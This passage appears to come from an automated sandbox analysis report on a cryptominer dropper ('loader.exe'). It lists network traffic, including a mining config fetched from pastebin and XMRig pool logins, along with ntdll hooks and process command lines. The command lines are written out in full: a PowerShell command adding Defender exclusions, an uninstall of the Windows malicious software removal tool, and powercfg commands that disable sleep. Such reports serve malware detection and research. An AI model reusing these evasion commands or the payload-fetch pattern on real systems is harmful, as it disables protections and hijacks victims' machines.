Oct 18, 2024 23:09:21.281568050 CEST	443	49735	104.20.4.235	192.168.2.4
Oct 18, 2024 23:09:21.464221001 CEST	49735	443	192.168.2.4	104.20.4.235
Oct 18, 2024 23:09:21.899538994 CEST	443	49735	104.20.4.235	192.168.2.4
Oct 18, 2024 23:09:21.899801016 CEST	443	49735	104.20.4.235	192.168.2.4
Oct 18, 2024 23:09:21.899885893 CEST	49735	443	192.168.2.4	104.20.4.235
Oct 18, 2024 23:09:21.902266026 CEST	49735	443	192.168.2.4	104.20.4.235
Oct 18, 2024 23:09:21.902287006 CEST	443	49735	104.20.4.235	192.168.2.4
Oct 18, 2024 23:09:21.927555084 CEST	49734	443	192.168.2.4	142.202.242.43
Oct 18, 2024 23:09:21.927586079 CEST	49734	443	192.168.2.4	142.202.242.43
Oct 18, 2024 23:09:21.927860975 CEST	49736	443	192.168.2.4	142.202.242.43
Oct 18, 2024 23:09:21.927897930 CEST	443	49736	142.202.242.43	192.168.2.4
Oct 18, 2024 23:09:21.928039074 CEST	49736	443	192.168.2.4	142.202.242.43
Oct 18, 2024 23:09:22.146163940 CEST	49736	443	192.168.2.4	142.202.242.43
Oct 18, 2024 23:09:22.146193027 CEST	443	49736	142.202.242.43	192.168.2.4
Oct 18, 2024 23:09:22.802798033 CEST	443	49736	142.202.242.43	192.168.2.4
Oct 18, 2024 23:09:22.838592052 CEST	49736	443	192.168.2.4	142.202.242.43
Oct 18, 2024 23:09:22.838618994 CEST	443	49736	142.202.242.43	192.168.2.4
Oct 18, 2024 23:09:22.842504025 CEST	443	49736	142.202.242.43	192.168.2.4
Oct 18, 2024 23:09:22.842595100 CEST	49736	443	192.168.2.4	142.202.242.43
Oct 18, 2024 23:09:22.843755007 CEST	49736	443	192.168.2.4	142.202.242.43
Oct 18, 2024 23:09:22.843962908 CEST	443	49736	142.202.242.43	192.168.2.4
Oct 18, 2024 23:09:22.917280912 CEST	49736	443	192.168.2.4	142.202.242.43
Oct 18, 2024 23:09:22.917299986 CEST	443	49736	142.202.242.43	192.168.2.4
Oct 18, 2024 23:09:23.104809046 CEST	49736	443	192.168.2.4	142.202.242.43
Oct 18, 2024 23:09:23.104866028 CEST	443	49736	142.202.242.43	192.168.2.4
Oct 18, 2024 23:09:23.214195967 CEST	49736	443	192.168.2.4	142.202.242.43
Oct 18, 2024 23:09:35.290678978 CEST	443	49736	142.202.242.43	192.168.2.4
Oct 18, 2024 23:09:35.401876926 CEST	49736	443	192.168.2.4	142.202.242.43
Oct 18, 2024 23:09:57.350405931 CEST	443	49736	142.202.242.43	192.168.2.4
Oct 18, 2024 23:09:57.401884079 CEST	49736	443	192.168.2.4	142.202.242.43
Oct 18, 2024 23:10:19.300110102 CEST	443	49736	142.202.242.43	192.168.2.4
Oct 18, 2024 23:10:19.417439938 CEST	49736	443	192.168.2.4	142.202.242.43
Oct 18, 2024 23:10:41.300472975 CEST	443	49736	142.202.242.43	192.168.2.4
Oct 18, 2024 23:10:41.417684078 CEST	49736	443	192.168.2.4	142.202.242.43
Oct 18, 2024 23:11:01.091958046 CEST	443	49736	142.202.242.43	192.168.2.4
Oct 18, 2024 23:11:01.208410978 CEST	49736	443	192.168.2.4	142.202.242.43
Oct 18, 2024 23:11:03.313231945 CEST	443	49736	142.202.242.43	192.168.2.4
Oct 18, 2024 23:11:03.417546034 CEST	49736	443	192.168.2.4	142.202.242.43
Oct 18, 2024 23:11:25.317512989 CEST	443	49736	142.202.242.43	192.168.2.4
Oct 18, 2024 23:11:25.402070045 CEST	49736	443	192.168.2.4	142.202.242.43

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 18, 2024 23:09:19.985310078 CEST	53440	53	192.168.2.4	1.1.1.1
Oct 18, 2024 23:09:20.004615068 CEST	53	53440	1.1.1.1	192.168.2.4
Oct 18, 2024 23:09:20.627815008 CEST	55846	53	192.168.2.4	1.1.1.1
Oct 18, 2024 23:09:20.635647058 CEST	53	55846	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Oct 18, 2024 23:09:19.985310078 CEST	192.168.2.4	1.1.1.1	0x284e	Standard query (0)	pool.hashvault.pro	A (IP address)	IN (0x0001)	false
Oct 18, 2024 23:09:20.627815008 CEST	192.168.2.4	1.1.1.1	0x8104	Standard query (0)	pastebin.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Oct 18, 2024 23:09:20.004615068 CEST	1.1.1.1	192.168.2.4	0x284e	No error (0)	pool.hashvault.pro	142.202.242.43	A (IP address)	IN (0x0001)	false
Oct 18, 2024 23:09:20.004615068 CEST	1.1.1.1	192.168.2.4	0x284e	No error (0)	pool.hashvault.pro	142.202.242.45	A (IP address)	IN (0x0001)	false
Oct 18, 2024 23:09:20.635647058 CEST	1.1.1.1	192.168.2.4	0x8104	No error (0)	pastebin.com	104.20.4.235	A (IP address)	IN (0x0001)	false
Oct 18, 2024 23:09:20.635647058 CEST	1.1.1.1	192.168.2.4	0x8104	No error (0)	pastebin.com	104.20.3.235	A (IP address)	IN (0x0001)	false
Oct 18, 2024 23:09:20.635647058 CEST	1.1.1.1	192.168.2.4	0x8104	No error (0)	pastebin.com	172.67.19.24	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

pastebin.com

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49735	104.20.4.235	443	7784	C:\Windows\System32\dialer.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-18 21:09:21 UTC	114	OUT	GET /raw/f2EfCEn0 HTTP/1.1 Accept: / Connection: close Host: pastebin.com User-Agent: cpp-httplib/0.12.6
2024-10-18 21:09:21 UTC	388	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 21:09:21 GMT Content-Type: text/plain; charset=utf-8 Transfer-Encoding: chunked Connection: close x-frame-options: DENY x-content-type-options: nosniff x-xss-protection: 1;mode=block cache-control: public, max-age=1801 CF-Cache-Status: MISS Last-Modified: Fri, 18 Oct 2024 21:09:21 GMT Server: cloudflare CF-RAY: 8d4b82487e7a2e64-DFW
2024-10-18 21:09:21 UTC	487	IN	Data Raw: 31 65 30 0d 0a 7b 0d 0a 20 20 20 20 22 61 6c 67 6f 22 3a 20 22 72 78 2f 30 22 2c 0d 0a 20 20 20 20 22 70 6f 6f 6c 22 3a 20 22 70 6f 6f 6c 2e 68 61 73 68 76 61 75 6c 74 2e 70 72 6f 22 2c 0d 0a 20 20 20 20 22 70 6f 72 74 22 3a 20 34 34 33 2c 0d 0a 20 20 20 20 22 77 61 6c 6c 65 74 22 3a 20 22 38 42 74 50 37 6a 46 6d 32 47 4b 4e 61 36 42 51 4b 6e 45 62 59 74 4d 57 5a 74 65 4a 69 35 4d 6b 64 34 45 6e 31 57 6f 4a 6d 68 4a 74 68 74 5a 73 42 68 43 39 72 79 39 44 78 45 6a 6a 72 74 67 36 71 4e 37 71 4d 32 32 73 6f 6e 69 69 5a 64 32 6d 61 31 70 77 69 75 32 4c 37 50 78 77 72 6d 7a 22 2c 0d 0a 20 20 20 20 22 70 61 73 73 77 6f 72 64 22 3a 20 22 77 6f 72 6b 65 72 22 2c 0d 0a 20 20 20 20 22 6e 69 63 65 68 61 73 68 22 3a 20 66 61 6c 73 65 2c 0d 0a 20 20 20 20 22 73 73 6c Data Ascii: 1e0{ "algo": "rx/0", "pool": "pool.hashvault.pro", "port": 443, "wallet": "8BtP7jFm2GKNa6BQKnEbYtMWZteJi5Mkd4En1WoJmhJthtZsBhC9ry9DxEjjrtg6qN7qM22soniiZd2ma1pwiu2L7Pxwrmz", "password": "worker", "nicehash": false, "ssl
2024-10-18 21:09:21 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49736	142.202.242.43	443	7784	C:\Windows\System32\dialer.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-18 21:09:22 UTC	597	OUT	Data Raw: 7b 22 69 64 22 3a 31 2c 22 6a 73 6f 6e 72 70 63 22 3a 22 32 2e 30 22 2c 22 6d 65 74 68 6f 64 22 3a 22 6c 6f 67 69 6e 22 2c 22 70 61 72 61 6d 73 22 3a 7b 22 6c 6f 67 69 6e 22 3a 22 38 42 74 50 37 6a 46 6d 32 47 4b 4e 61 36 42 51 4b 6e 45 62 59 74 4d 57 5a 74 65 4a 69 35 4d 6b 64 34 45 6e 31 57 6f 4a 6d 68 4a 74 68 74 5a 73 42 68 43 39 72 79 39 44 78 45 6a 6a 72 74 67 36 71 4e 37 71 4d 32 32 73 6f 6e 69 69 5a 64 32 6d 61 31 70 77 69 75 32 4c 37 50 78 77 72 6d 7a 22 2c 22 70 61 73 73 22 3a 22 77 6f 72 6b 65 72 22 2c 22 61 67 65 6e 74 22 3a 22 58 4d 52 69 67 2f 36 2e 31 39 2e 33 20 28 57 69 6e 64 6f 77 73 20 4e 54 20 31 30 2e 30 3b 20 57 69 6e 36 34 3b 20 78 36 34 29 20 6c 69 62 75 76 2f 31 2e 33 38 2e 30 20 6d 73 76 63 2f 32 30 32 32 22 2c 22 72 69 67 69 64 Data Ascii: {"id":1,"jsonrpc":"2.0","method":"login","params":{"login":"8BtP7jFm2GKNa6BQKnEbYtMWZteJi5Mkd4En1WoJmhJthtZsBhC9ry9DxEjjrtg6qN7qM22soniiZd2ma1pwiu2L7Pxwrmz","pass":"worker","agent":"XMRig/6.19.3 (Windows NT 10.0; Win64; x64) libuv/1.38.0 msvc/2022","rigid
2024-10-18 21:09:22 UTC	732	IN	Data Raw: 7b 22 69 64 22 3a 31 2c 22 6a 73 6f 6e 72 70 63 22 3a 22 32 2e 30 22 2c 22 65 72 72 6f 72 22 3a 6e 75 6c 6c 2c 22 72 65 73 75 6c 74 22 3a 7b 22 69 64 22 3a 22 38 64 38 66 35 30 35 65 2d 38 39 30 35 2d 34 33 65 38 2d 39 66 65 66 2d 35 63 32 62 33 61 32 34 36 63 35 66 22 2c 22 6a 6f 62 22 3a 7b 22 62 6c 6f 62 22 3a 22 31 30 31 30 66 39 39 63 63 62 62 38 30 36 37 64 33 31 32 34 30 37 65 37 39 36 33 62 33 65 37 35 38 30 63 65 34 34 35 65 30 63 31 34 64 62 66 61 33 30 32 34 37 36 37 61 38 35 66 65 37 39 35 36 61 65 65 30 32 62 63 39 37 36 61 39 30 66 30 30 30 30 30 30 30 30 65 38 32 66 65 62 39 38 63 66 35 36 32 38 35 31 38 65 37 39 33 61 31 36 31 63 30 34 35 33 66 30 35 34 61 66 35 38 36 38 37 61 30 38 62 62 64 63 33 34 32 31 61 66 63 34 62 61 39 38 65 61 35 Data Ascii: {"id":1,"jsonrpc":"2.0","error":null,"result":{"id":"8d8f505e-8905-43e8-9fef-5c2b3a246c5f","job":{"blob":"1010f99ccbb8067d312407e7963b3e7580ce445e0c14dbfa3024767a85fe7956aee02bc976a90f00000000e82feb98cf5628518e793a161c0453f054af58687a08bbdc3421afc4ba98ea5
2024-10-18 21:09:35 UTC	471	IN	Data Raw: 7b 22 6a 73 6f 6e 72 70 63 22 3a 22 32 2e 30 22 2c 22 6d 65 74 68 6f 64 22 3a 22 6a 6f 62 22 2c 22 70 61 72 61 6d 73 22 3a 7b 22 62 6c 6f 62 22 3a 22 31 30 31 30 38 66 39 64 63 62 62 38 30 36 37 64 33 31 32 34 30 37 65 37 39 36 33 62 33 65 37 35 38 30 63 65 34 34 35 65 30 63 31 34 64 62 66 61 33 30 32 34 37 36 37 61 38 35 66 65 37 39 35 36 61 65 65 30 32 62 63 39 37 36 61 39 30 66 30 30 30 30 30 30 30 30 36 32 35 63 66 30 63 34 35 30 38 31 39 38 33 64 38 63 36 35 66 64 64 30 37 31 38 34 35 31 36 39 36 32 37 38 65 35 38 30 36 34 38 39 33 65 35 32 63 36 66 35 30 38 30 35 35 36 32 63 33 30 36 66 31 64 22 2c 22 6a 6f 62 5f 69 64 22 3a 22 63 39 61 64 34 33 35 33 2d 39 38 34 30 2d 34 30 61 62 2d 62 36 37 37 2d 38 30 63 62 30 64 34 64 31 65 63 30 22 2c 22 74 61 Data Ascii: {"jsonrpc":"2.0","method":"job","params":{"blob":"10108f9dcbb8067d312407e7963b3e7580ce445e0c14dbfa3024767a85fe7956aee02bc976a90f00000000625cf0c45081983d8c65fdd0718451696278e58064893e52c6f50805562c306f1d","job_id":"c9ad4353-9840-40ab-b677-80cb0d4d1ec0","ta
2024-10-18 21:09:57 UTC	471	IN	Data Raw: 7b 22 6a 73 6f 6e 72 70 63 22 3a 22 32 2e 30 22 2c 22 6d 65 74 68 6f 64 22 3a 22 6a 6f 62 22 2c 22 70 61 72 61 6d 73 22 3a 7b 22 62 6c 6f 62 22 3a 22 31 30 31 30 61 35 39 64 63 62 62 38 30 36 37 64 33 31 32 34 30 37 65 37 39 36 33 62 33 65 37 35 38 30 63 65 34 34 35 65 30 63 31 34 64 62 66 61 33 30 32 34 37 36 37 61 38 35 66 65 37 39 35 36 61 65 65 30 32 62 63 39 37 36 61 39 30 66 30 30 30 30 30 30 30 30 35 30 38 35 34 39 39 62 38 31 36 64 63 37 61 65 36 35 30 65 30 37 61 33 39 33 36 31 35 30 38 34 30 61 64 61 36 39 36 65 30 31 38 62 35 39 31 32 61 66 31 36 66 61 34 38 61 39 65 35 31 36 64 33 32 34 22 2c 22 6a 6f 62 5f 69 64 22 3a 22 31 30 62 30 61 61 39 39 2d 62 36 65 62 2d 34 30 64 63 2d 61 37 30 65 2d 34 35 38 66 64 65 32 66 36 35 33 66 22 2c 22 74 61 Data Ascii: {"jsonrpc":"2.0","method":"job","params":{"blob":"1010a59dcbb8067d312407e7963b3e7580ce445e0c14dbfa3024767a85fe7956aee02bc976a90f000000005085499b816dc7ae650e07a3936150840ada696e018b5912af16fa48a9e516d324","job_id":"10b0aa99-b6eb-40dc-a70e-458fde2f653f","ta
2024-10-18 21:10:19 UTC	471	IN	Data Raw: 7b 22 6a 73 6f 6e 72 70 63 22 3a 22 32 2e 30 22 2c 22 6d 65 74 68 6f 64 22 3a 22 6a 6f 62 22 2c 22 70 61 72 61 6d 73 22 3a 7b 22 62 6c 6f 62 22 3a 22 31 30 31 30 62 62 39 64 63 62 62 38 30 36 37 64 33 31 32 34 30 37 65 37 39 36 33 62 33 65 37 35 38 30 63 65 34 34 35 65 30 63 31 34 64 62 66 61 33 30 32 34 37 36 37 61 38 35 66 65 37 39 35 36 61 65 65 30 32 62 63 39 37 36 61 39 30 66 30 30 30 30 30 30 30 30 32 32 61 34 64 34 62 31 64 30 39 33 34 66 33 38 66 36 34 35 38 35 37 34 32 62 39 35 38 34 39 37 34 34 35 30 30 32 63 64 33 66 62 31 32 65 31 33 36 30 34 33 34 37 30 34 62 64 33 30 37 34 35 31 32 38 22 2c 22 6a 6f 62 5f 69 64 22 3a 22 30 34 33 30 32 66 31 30 2d 63 34 63 39 2d 34 62 39 66 2d 61 65 35 39 2d 66 33 65 37 61 31 38 32 38 30 65 30 22 2c 22 74 61 Data Ascii: {"jsonrpc":"2.0","method":"job","params":{"blob":"1010bb9dcbb8067d312407e7963b3e7580ce445e0c14dbfa3024767a85fe7956aee02bc976a90f0000000022a4d4b1d0934f38f64585742b958497445002cd3fb12e1360434704bd30745128","job_id":"04302f10-c4c9-4b9f-ae59-f3e7a18280e0","ta
2024-10-18 21:10:41 UTC	471	IN	Data Raw: 7b 22 6a 73 6f 6e 72 70 63 22 3a 22 32 2e 30 22 2c 22 6d 65 74 68 6f 64 22 3a 22 6a 6f 62 22 2c 22 70 61 72 61 6d 73 22 3a 7b 22 62 6c 6f 62 22 3a 22 31 30 31 30 64 31 39 64 63 62 62 38 30 36 37 64 33 31 32 34 30 37 65 37 39 36 33 62 33 65 37 35 38 30 63 65 34 34 35 65 30 63 31 34 64 62 66 61 33 30 32 34 37 36 37 61 38 35 66 65 37 39 35 36 61 65 65 30 32 62 63 39 37 36 61 39 30 66 30 30 30 30 30 30 30 30 63 34 37 61 66 35 31 38 31 63 33 37 35 39 35 62 64 31 63 63 34 37 63 35 65 66 38 32 61 63 64 30 62 31 30 31 62 62 38 34 35 34 35 61 33 31 63 31 36 39 36 35 37 30 62 36 31 30 35 64 66 65 34 38 32 63 22 2c 22 6a 6f 62 5f 69 64 22 3a 22 34 62 66 66 33 32 63 62 2d 39 65 35 31 2d 34 64 62 32 2d 62 61 31 64 2d 30 62 32 30 30 61 61 30 31 31 61 62 22 2c 22 74 61 Data Ascii: {"jsonrpc":"2.0","method":"job","params":{"blob":"1010d19dcbb8067d312407e7963b3e7580ce445e0c14dbfa3024767a85fe7956aee02bc976a90f00000000c47af5181c37595bd1cc47c5ef82acd0b101bb84545a31c1696570b6105dfe482c","job_id":"4bff32cb-9e51-4db2-ba1d-0b200aa011ab","ta
2024-10-18 21:11:01 UTC	471	IN	Data Raw: 7b 22 6a 73 6f 6e 72 70 63 22 3a 22 32 2e 30 22 2c 22 6d 65 74 68 6f 64 22 3a 22 6a 6f 62 22 2c 22 70 61 72 61 6d 73 22 3a 7b 22 62 6c 6f 62 22 3a 22 31 30 31 30 64 31 39 64 63 62 62 38 30 36 37 64 33 31 32 34 30 37 65 37 39 36 33 62 33 65 37 35 38 30 63 65 34 34 35 65 30 63 31 34 64 62 66 61 33 30 32 34 37 36 37 61 38 35 66 65 37 39 35 36 61 65 65 30 32 62 63 39 37 36 61 39 30 66 30 30 30 30 30 30 30 30 64 63 30 61 64 63 39 36 61 31 39 66 35 38 65 36 38 64 63 36 38 32 63 36 62 31 37 39 35 36 66 64 30 33 30 33 64 61 35 37 37 32 65 34 66 62 32 38 34 30 34 36 35 34 65 66 65 38 33 62 35 62 32 65 32 63 22 2c 22 6a 6f 62 5f 69 64 22 3a 22 35 61 66 35 30 31 34 33 2d 37 33 65 36 2d 34 33 66 34 2d 62 61 39 30 2d 65 36 30 35 36 38 34 36 66 30 35 32 22 2c 22 74 61 Data Ascii: {"jsonrpc":"2.0","method":"job","params":{"blob":"1010d19dcbb8067d312407e7963b3e7580ce445e0c14dbfa3024767a85fe7956aee02bc976a90f00000000dc0adc96a19f58e68dc682c6b17956fd0303da5772e4fb28404654efe83b5b2e2c","job_id":"5af50143-73e6-43f4-ba90-e6056846f052","ta
2024-10-18 21:11:03 UTC	471	IN	Data Raw: 7b 22 6a 73 6f 6e 72 70 63 22 3a 22 32 2e 30 22 2c 22 6d 65 74 68 6f 64 22 3a 22 6a 6f 62 22 2c 22 70 61 72 61 6d 73 22 3a 7b 22 62 6c 6f 62 22 3a 22 31 30 31 30 65 37 39 64 63 62 62 38 30 36 37 64 33 31 32 34 30 37 65 37 39 36 33 62 33 65 37 35 38 30 63 65 34 34 35 65 30 63 31 34 64 62 66 61 33 30 32 34 37 36 37 61 38 35 66 65 37 39 35 36 61 65 65 30 32 62 63 39 37 36 61 39 30 66 30 30 30 30 30 30 30 30 31 30 32 66 32 38 64 36 32 64 35 38 38 64 30 63 34 65 39 32 66 37 35 64 33 63 65 34 34 62 33 61 36 62 37 37 35 61 63 38 33 32 32 31 34 31 65 62 39 33 35 63 65 31 64 34 65 35 35 37 39 32 38 33 33 31 22 2c 22 6a 6f 62 5f 69 64 22 3a 22 36 33 36 33 32 32 65 63 2d 66 66 32 31 2d 34 35 36 33 2d 39 39 63 37 2d 32 33 37 63 62 39 35 64 35 38 38 34 22 2c 22 74 61 Data Ascii: {"jsonrpc":"2.0","method":"job","params":{"blob":"1010e79dcbb8067d312407e7963b3e7580ce445e0c14dbfa3024767a85fe7956aee02bc976a90f00000000102f28d62d588d0c4e92f75d3ce44b3a6b775ac8322141eb935ce1d4e557928331","job_id":"636322ec-ff21-4563-99c7-237cb95d5884","ta
2024-10-18 21:11:25 UTC	471	IN	Data Raw: 7b 22 6a 73 6f 6e 72 70 63 22 3a 22 32 2e 30 22 2c 22 6d 65 74 68 6f 64 22 3a 22 6a 6f 62 22 2c 22 70 61 72 61 6d 73 22 3a 7b 22 62 6c 6f 62 22 3a 22 31 30 31 30 66 64 39 64 63 62 62 38 30 36 37 64 33 31 32 34 30 37 65 37 39 36 33 62 33 65 37 35 38 30 63 65 34 34 35 65 30 63 31 34 64 62 66 61 33 30 32 34 37 36 37 61 38 35 66 65 37 39 35 36 61 65 65 30 32 62 63 39 37 36 61 39 30 66 30 30 30 30 30 30 30 30 31 32 31 31 30 66 64 36 37 64 65 34 64 63 32 36 31 61 37 36 62 37 37 38 31 39 61 31 66 35 37 30 36 38 34 66 35 63 33 36 62 36 30 64 30 30 39 30 35 38 64 35 31 33 31 64 66 63 64 31 39 39 66 64 33 35 22 2c 22 6a 6f 62 5f 69 64 22 3a 22 66 66 32 61 30 65 39 32 2d 33 64 37 31 2d 34 37 61 65 2d 39 39 36 61 2d 62 38 38 30 38 32 39 61 63 32 63 61 22 2c 22 74 61 Data Ascii: {"jsonrpc":"2.0","method":"job","params":{"blob":"1010fd9dcbb8067d312407e7963b3e7580ce445e0c14dbfa3024767a85fe7956aee02bc976a90f0000000012110fd67de4dc261a76b77819a1f570684f5c36b60d009058d5131dfcd199fd35","job_id":"ff2a0e92-3d71-47ae-996a-b880829ac2ca","ta

Code Manipulations

User Modules

Hook Summary

Function Name	Hook Type	Active in Processes
ZwEnumerateKey	INLINE	explorer.exe, winlogon.exe
NtQuerySystemInformation	INLINE	explorer.exe, winlogon.exe
ZwResumeThread	INLINE	explorer.exe, winlogon.exe
NtDeviceIoControlFile	INLINE	explorer.exe, winlogon.exe
ZwDeviceIoControlFile	INLINE	explorer.exe, winlogon.exe
NtEnumerateKey	INLINE	explorer.exe, winlogon.exe
NtQueryDirectoryFile	INLINE	explorer.exe, winlogon.exe
ZwEnumerateValueKey	INLINE	explorer.exe, winlogon.exe
ZwQuerySystemInformation	INLINE	explorer.exe, winlogon.exe
NtResumeThread	INLINE	explorer.exe, winlogon.exe
RtlGetNativeSystemInformation	INLINE	explorer.exe, winlogon.exe
NtQueryDirectoryFileEx	INLINE	explorer.exe, winlogon.exe
NtEnumerateValueKey	INLINE	explorer.exe, winlogon.exe
ZwQueryDirectoryFileEx	INLINE	explorer.exe, winlogon.exe
ZwQueryDirectoryFile	INLINE	explorer.exe, winlogon.exe

Processes

Process: explorer.exe, Module: ntdll.dll

Function Name	Hook Type	New Data
ZwEnumerateKey	INLINE	0xE9 0x9C 0xC3 0x32 0x2C 0xCF
NtQuerySystemInformation	INLINE	0xE9 0x9C 0xC3 0x32 0x2A 0xAF
ZwResumeThread	INLINE	0xE9 0x9A 0xA3 0x32 0x27 0x7F
NtDeviceIoControlFile	INLINE	0xE9 0x90 0x03 0x33 0x34 0x4F
ZwDeviceIoControlFile	INLINE	0xE9 0x90 0x03 0x33 0x34 0x4F
NtEnumerateKey	INLINE	0xE9 0x9C 0xC3 0x32 0x2C 0xCF
NtQueryDirectoryFile	INLINE	0xE9 0x9A 0xA3 0x32 0x2B 0xBF
ZwEnumerateValueKey	INLINE	0xE9 0x90 0x03 0x33 0x31 0x1F
ZwQuerySystemInformation	INLINE	0xE9 0x9C 0xC3 0x32 0x2A 0xAF
NtResumeThread	INLINE	0xE9 0x9A 0xA3 0x32 0x27 0x7F
RtlGetNativeSystemInformation	INLINE	0xE9 0x9C 0xC3 0x32 0x2A 0xAF
NtQueryDirectoryFileEx	INLINE	0xE9 0x97 0x73 0x30 0x0A 0xAF
NtEnumerateValueKey	INLINE	0xE9 0x90 0x03 0x33 0x31 0x1F
ZwQueryDirectoryFileEx	INLINE	0xE9 0x97 0x73 0x30 0x0A 0xAF
ZwQueryDirectoryFile	INLINE	0xE9 0x9A 0xA3 0x32 0x2B 0xBF

Process: winlogon.exe, Module: ntdll.dll

Function Name	Hook Type	New Data
ZwEnumerateKey	INLINE	0xE9 0x9C 0xC3 0x32 0x2C 0xCF
NtQuerySystemInformation	INLINE	0xE9 0x9C 0xC3 0x32 0x2A 0xAF
ZwResumeThread	INLINE	0xE9 0x9A 0xA3 0x32 0x27 0x7F
NtDeviceIoControlFile	INLINE	0xE9 0x90 0x03 0x33 0x34 0x4F
ZwDeviceIoControlFile	INLINE	0xE9 0x90 0x03 0x33 0x34 0x4F
NtEnumerateKey	INLINE	0xE9 0x9C 0xC3 0x32 0x2C 0xCF
NtQueryDirectoryFile	INLINE	0xE9 0x9A 0xA3 0x32 0x2B 0xBF
ZwEnumerateValueKey	INLINE	0xE9 0x90 0x03 0x33 0x31 0x1F
ZwQuerySystemInformation	INLINE	0xE9 0x9C 0xC3 0x32 0x2A 0xAF
NtResumeThread	INLINE	0xE9 0x9A 0xA3 0x32 0x27 0x7F
RtlGetNativeSystemInformation	INLINE	0xE9 0x9C 0xC3 0x32 0x2A 0xAF
NtQueryDirectoryFileEx	INLINE	0xE9 0x97 0x73 0x30 0x0A 0xAF
NtEnumerateValueKey	INLINE	0xE9 0x90 0x03 0x33 0x31 0x1F
ZwQueryDirectoryFileEx	INLINE	0xE9 0x97 0x73 0x30 0x0A 0xAF
ZwQueryDirectoryFile	INLINE	0xE9 0x9A 0xA3 0x32 0x2B 0xBF

Target ID:	0
Start time:	17:09:06
Start date:	18/10/2024
Path:	C:\Users\user\Desktop\loader.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\Desktop\loader.exe"
Imagebase:	0x7ff74aa00000
File size:	5'502'728 bytes
MD5 hash:	CDABDC02374167CCD4938E9FE8C31789
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	17:09:07
Start date:	18/10/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	17:09:07
Start date:	18/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	17:09:12
Start date:	18/10/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
Imagebase:	0x7ff64d3d0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	17:09:12
Start date:	18/10/2024
Path:	C:\Windows\System32\powercfg.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
Imagebase:	0x7ff756950000
File size:	96'256 bytes
MD5 hash:	9CA38BE255FFF57A92BD6FBF8052B705
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	17:09:12
Start date:	18/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	17:09:12
Start date:	18/10/2024
Path:	C:\Windows\System32\powercfg.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
Imagebase:	0x7ff756950000
File size:	96'256 bytes
MD5 hash:	9CA38BE255FFF57A92BD6FBF8052B705
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	17:09:12
Start date:	18/10/2024
Path:	C:\Windows\System32\powercfg.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
Imagebase:	0x7ff756950000
File size:	96'256 bytes
MD5 hash:	9CA38BE255FFF57A92BD6FBF8052B705
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	17:09:12
Start date:	18/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	17:09:12
Start date:	18/10/2024
Path:	C:\Windows\System32\powercfg.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
Imagebase:	0x7ff756950000
File size:	96'256 bytes
